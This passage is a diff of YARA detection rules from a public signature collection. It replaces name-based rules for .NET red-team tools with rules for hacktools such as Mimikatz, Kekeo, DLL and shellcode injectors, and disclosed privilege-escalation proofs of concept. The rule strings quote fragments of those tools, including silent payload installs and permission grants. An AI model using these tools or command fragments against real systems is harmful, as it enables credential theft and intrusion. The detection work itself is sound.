+rule SIGNATURE_BASE_WPR_Windowspasswordrecovery_EXE_64 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "a8e70bce-76dd-53dc-9a19-1cc6795fdef3"
-		date = "2021-01-22"
+		description = "Windows Password Recovery - file ast64.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0f6c7695-e616-5757-b9cd-8cff5f972c3e"
+		date = "2017-03-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Ziconius/FudgeC2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L462-L475"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "89f3bf4b81a901e813c3021422c362d7e075dec7fd76240be121f677039f1994"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3605-L3622"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6cdd46609d401b7c12b936de7f64bab0bc45b9d2c6079fae45a96f5be6857b82"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4e1ea81443b34248c092b35708b9a19e43a1ecbdefe4b5180d347a6c8638d055"
 
 	strings:
-		$name = "FudgeC2" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "%B %d %Y  -  %H:%M:%S" fullword wide
+		$op0 = { 48 8d 8c 24 50 22 00 00 e8 bf eb ff ff 4c 8b c7 }
+		$op1 = { ff 15 16 25 01 00 f7 d8 1b }
+		$op2 = { e8 c2 26 00 00 83 20 00 83 c8 ff 48 8b 5c 24 30 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_Reverse_Tcp : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Beyondexec_Remoteaccess_Tool : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "a6b935cc-adb6-5ff4-a832-1043e77292f7"
-		date = "2021-01-22"
+		description = "Detects BeyondExec Remote Access Tool - file rexesvr.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd68cb45-a46f-53d7-bf52-8f7bd3636d0d"
+		date = "2017-03-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L477-L490"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "055ee105cd46e54b4f49dd92975ecc08a6184fa8508585ee528d19de34914758"
+		reference = "https://goo.gl/BvYurS"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3634-L3652"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f21ddf04ab0d29549c3d07a45afb3e7648a15b0c81f88b8d7ccccc436ba4084"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3d3e3f0708479d951ab72fa04ac63acc7e5a75a5723eb690b34301580747032c"
 
 	strings:
-		$name = "NativePayload_Reverse_tcp" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\BeyondExecV2\\Server\\Release\\Pipes.pdb" ascii
+		$x2 = "\\\\.\\pipe\\beyondexec%d-stdin" fullword ascii
+		$x3 = "Failed to create dispatch pipe. Do you have another instance running?" fullword ascii
+		$op1 = { 83 e9 04 72 0c 83 e0 03 03 c8 ff 24 85 80 6f 40 }
+		$op2 = { 6a 40 33 c0 59 bf e0 d8 40 00 f3 ab 8d 0c 52 c1 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or all of ($op*))) or (3 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Sharphose : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Mimikatz_Gen_Strings : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "89b00eb0-f1a2-5c77-a5b0-2329b08aadb7"
-		date = "2021-01-22"
+		description = "Detects Mimikatz by using some special strings"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3f4ab5d7-5a9f-55f0-9dda-e2975df582a0"
+		date = "2017-06-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/ustayready/SharpHose"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L492-L505"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e3af2a156c2451f7ed2fe3e888fdf2ae080298f7eff56801ddc0c612f04902ee"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3654-L3676"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "371e74538a63cfe355ebd31e1ac73cd25e92f3a7ce3f9299e0f3406f2bcb5b01"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "058cc8b3e4e4055f3be460332a62eb4cbef41e3a7832aceb8119fd99fea771c4"
+		hash2 = "eefd4c038afa0e80cf6521c69644e286df08c0883f94245902383f50feac0f85"
+		hash3 = "f35b589c1cc1c98c4c4a5123fd217bdf0d987c00d2561992cbfb94bd75920159"
 
 	strings:
-		$name = "SharpHose" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "[*] '%s' service already started" fullword wide
+		$s2 = "** Security Callback! **" fullword wide
+		$s3 = "Try to export a software CA to a crypto (virtual)hardware" fullword wide
+		$s4 = "enterpriseadmin" fullword wide
+		$s5 = "Ask debug privilege" fullword wide
+		$s6 = "Injected =)" fullword wide
+		$s7 = "** SAM ACCOUNT **" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <12000KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_RAT_Njrat_0_7D_Modded_Source_Code : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Lpe : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "2b7d1f75-0164-561e-8199-32c601cbca98"
-		date = "2021-01-22"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d3693d1d-6085-5e62-8f0b-dde5b14758b7"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/AliBawazeEer/RAT-NjRat-0.7d-modded-source-code"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L507-L520"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f437195348452242adc8b55d6d517a17764c53188fa2de5cd15848fd23827381"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3688-L3709"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77d72792d7fcf2c54b36d124448e928f306981296715e583d346ccd101e22fc7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e10ee278f4c86d6ee1bd93a7ed71d4d59c0279381b00eb6153aedfb3a679c0b5"
+		hash2 = "a5916cefa0f50622a30c800e7f21df481d7a3e1e12083fef734296a22714d088"
+		hash3 = "5b701a5b5bbef7027711071cef2755e57984bfdff569fe99efec14a552d8ee43"
 
 	strings:
-		$name = "RAT-NjRat-0.7d-modded-source-code" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "msiexec /f c:\\users\\%username%\\downloads\\" ascii
+		$x2 = "c:\\users\\%username%\\downloads\\bat.bat" fullword ascii
+		$x3 = "\\payload.msi /quiet" ascii
+		$x4 = "\\payload2\\WindowsTrustedRTProxy.sys" wide
+		$x5 = "\\payload2" wide
+		$x6 = "\\payload" wide
+		$x7 = "WindowsTrustedRTProxy.sys /grant:r administrators:RX" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <70KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Rdpthief : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Exploit : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "5ad4feec-50db-5ebb-a609-9196e72a24aa"
-		date = "2021-01-22"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "72b8aafd-d79a-5812-90fd-5d5aca109254"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x09AL/RdpThief"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L522-L535"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8e472c8265d517e512eada819627d56ff449fae4d80054946e9ea96f74004f05"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3711-L3725"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12a7a04fdc621242f42107204996e44b1962b5ac5eef4f9b9cbbe0ad52b85676"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "632d35a0bac27c9b2f3f485d43ebba818089cf72b3b8c4d2e87ce735b2e67d7e"
 
 	strings:
-		$name = "RdpThief" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\exploit.pdb" ascii
+		$x2 = "\\favorites\\stolendata.txt" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Runascs : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Injectdll : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "c5fc5b01-1d30-5af5-be99-e629cb23295b"
-		date = "2021-01-22"
-		modified = "2023-12-05"
-		reference = "https://github.com/antonioCoco/RunasCs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L537-L550"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9fd22a3e92222134c101693b944a2ad53055f9cfafe99823fd6f412981f5afa3"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "90a4dca0-4f12-5946-9d5d-0b93bb5a3c5d"
+		date = "2017-07-07"
+		modified = "2022-12-21"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3727-L3745"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0a9bd4fa2d8a1192258b303cb757c8bbce7f6962a1d895f57add8a1c3887799"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "173d3f78c9269f44d069afbd04a692f5ae42d5fdc9f44f074599ec91e8a29aa2"
 
 	strings:
-		$name = "RunasCs" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\InjectDll.pdb" ascii
+		$x2 = "Specify -l to list all IE processes running in the current session" fullword ascii
+		$x3 = "Usage: InjectDll -l|pid PathToDll" fullword ascii
+		$x4 = "Injecting DLL: %ls into PID: %d" fullword ascii
+		$x5 = "Error adjusting privilege %d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_IP6DNS : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Payload_MSI : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "3b32b408-e71a-5f2a-ae6f-72a3d6572b71"
-		date = "2021-01-22"
-		modified = "2023-12-05"
-		reference = "https://github.com/DamonMohammadbagher/NativePayload_IP6DNS"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L552-L565"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "509c396b97524335735107644460eebed3146b2bc5f8dedb909c9754b2121f5f"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fe32af56-d5a1-5246-a7df-395b9cd02faf"
+		date = "2017-07-07"
+		modified = "2022-12-21"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3747-L3763"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7dfc8d2bd871ad6acb7d362a946d34ed1830f42ab625c3d3d9cb512f28ccdb57"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a7c498a95850e186b7749a96004a98598f45faac2de9b93354ac93e627508a87"
 
 	strings:
-		$name = "NativePayload_IP6DNS" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "WShell32.dll" fullword wide
+		$s2 = "Target empty, so account name translation begins on the local system." fullword wide
+		$s3 = "\\custact\\x86\\AICustAct.pdb" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0xcfd0 and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_ARP : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Injector : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "9fac11f8-4e40-5cbc-a990-2ae48df20828"
-		date = "2021-01-22"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6de89a84-fe16-5064-8cbb-a3b9003f4c0c"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/DamonMohammadbagher/NativePayload_ARP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L567-L580"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e8cecfe09f1cb80eb693eb293dfb8c1bc3885a96dfa045b2391216c5f6f6f983"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3765-L3785"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "37ed19fe19d3645adcd5fa7d6f6b3572d2821fdb78a6d0c8afdba6ccecfc8528"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ba0e2119b2a6bad612e86662b643a404426a07444d476472a71452b7e9f94041"
 
 	strings:
-		$name = "NativePayload_ARP" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\injector.pdb" ascii
+		$x2 = "Cannot write the shellcode in the process memory, error: " fullword ascii
+		$x3 = "/s shellcode_file PID: shellcode injection." fullword ascii
+		$x4 = "/d dll_file PID: dll injection via LoadLibrary()." fullword ascii
+		$x5 = "/s shellcode_file PID" fullword ascii
+		$x6 = "Shellcode copied in memory: OK" fullword ascii
+		$x7 = "Usage of the injector. " fullword ascii
+		$x8 = "KO: cannot obtain the SeDebug privilege." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <90KB and 1 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_C2Bridge : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Lpe_2 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "357051aa-61ea-5454-a996-b4e3a45ac865"
-		date = "2021-01-22"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9326bbae-81ee-588e-8581-628b47d348f8"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/cobbr/C2Bridge"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L582-L595"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d5f6d6e9d475bf2d8a49d7550bf3b718539753f3494b58462094bfc0a37b813a"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3787-L3802"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9ca23e4375674ea189d5e9de015f6a1ae16c30d35378580bdc8f42007b716df"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b4f3787a19b71c47bc4357a5a77ffb456e2f71fd858079d93e694a6a79f66533"
 
 	strings:
-		$name = "C2Bridge" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "\\cmd.exe\" /k wusa c:\\users\\" ascii
+		$s2 = "D:\\gitpoc\\UAC\\src\\x64\\Release\\lpe.pdb" fullword ascii
+		$s3 = "Folder Created: " fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <700KB and 2 of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Infrastructure_Assessment : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Disclosed_0Day_Pocs_Shellcodegenerator : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "efacc12b-92b3-5b22-b5bb-cd5a7d7eea0e"
-		date = "2021-01-22"
+		description = "Detects POC code from disclosed 0day hacktool set"
+		author = "Florian Roth (Nextron Systems)"
+		id = "49250cbe-7bbd-5462-9324-1a8f350386f3"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/NyaMeeEain/Infrastructure-Assessment"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L597-L610"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b2f1481c2880b5b3ee158f2a526ab7fc5e587bbf3847ebe9ddf447742109a78"
+		reference = "Disclosed 0day Repos"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3804-L3817"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b267a816871c30e9403805b942be25ed8e28ad2fd946f234f6877a65420754d8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "55c4073bf8d38df7d392aebf9aed2304109d92229971ffac6e1c448986a87916"
 
 	strings:
-		$name = "Infrastructure-Assessment" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\shellcodegenerator.pdb" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <40KB and all of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Shellcodetester : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Securityxploded_Producer_String : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "964093a4-e6d7-51b7-928a-b1cd40dc11cc"
-		date = "2021-01-22"
+		description = "Detects hacktools by SecurityXploded"
+		author = "Florian Roth (Nextron Systems)"
+		id = "739c4ba1-5126-51cc-a2dd-cdac2737e29a"
+		date = "2017-07-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/tophertimzen/shellcodeTester"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L612-L625"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3101b62428eba5e36572a190bd3a11f59cf9cca10aec3cfe3000028f1b1f0a3f"
-		score = 50
+		reference = "http://securityxploded.com/browser-password-dump.php"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3819-L3833"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "101e0b8b8aeb8ed4314bc07139dcc2b40600fde82ff786d15a15c10692f9aa4a"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d57847db5458acabc87daee6f30173348ac5956eb25e6b845636e25f5a56ac59"
 
 	strings:
-		$name = "shellcodeTester" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "http://securityxploded.com" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and all of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Gray_Hat_Csharp_Code : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Kekeo_Hacktool : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "0a94cadc-cc7b-5817-8788-bb1e53937fad"
-		date = "2021-01-22"
+		description = "Detects Kekeo Hacktool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a4158da8-fc4d-5dc6-b44c-f5325b3bb8ca"
+		date = "2017-07-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/brandonprry/gray_hat_csharp_code"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L627-L640"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4520528cd6b1832c97fa79442f9d448d54bad4e6944984fa6e71f34246259e28"
+		reference = "https://github.com/gentilkiwi/kekeo/releases"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3845-L3860"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14283064e7c8fcee9cde206d25b43b02876a7a4d5de9da6dab47d7f5ba54f019"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ce92c0bcdf63347d84824a02b7a448cf49dd9f44db2d02722d01c72556a2b767"
+		hash2 = "49d7fec5feff20b3b57b26faccd50bc05c71f1dddf5800eb4abaca14b83bba8c"
 
 	strings:
-		$name = "gray_hat_csharp_code" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "[ticket %u] session Key is NULL, maybe a TGT without enough rights when WCE dumped it." fullword wide
+		$x2 = "ERROR kuhl_m_smb_time ; Invalid! Command: %02x - Status: %08x" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*)))
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Nativepayload_Reverseshell : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Allthethings : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "eec77c09-02db-5d74-8526-e201d2fe6fc8"
-		date = "2021-01-22"
-		modified = "2023-12-05"
-		reference = "https://github.com/DamonMohammadbagher/NativePayload_ReverseShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L642-L655"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79ebde95674d76e58938b06a97cb6c65e6ac0606398fc9c30d90e517bbdd62a8"
+		description = "Detects AllTheThings"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c3169ca7-3482-5d55-a1d9-6d1c01349922"
+		date = "2017-07-27"
+		modified = "2022-12-21"
+		reference = "https://github.com/subTee/AllTheThings"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3873-L3892"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d6b961afb98cfaefe930a7bc246b3f087469b752a8d4abb62b2826418fdfd53"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5a0e9a9ce00d843ea95bd5333b6ab50cc5b1dbea648cc819cfe48482513ce842"
 
 	strings:
-		$name = "NativePayload_ReverseShell" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\obj\\Debug\\AllTheThings.pdb" ascii
+		$x2 = "AllTheThings.exe" fullword wide
+		$x3 = "\\AllTheThings.dll" ascii
+		$x4 = "Hello From Main...I Don't Do Anything" fullword wide
+		$x5 = "I am a basic COM Object" fullword wide
+		$x6 = "I shouldn't really execute either." fullword wide
 
 	condition:
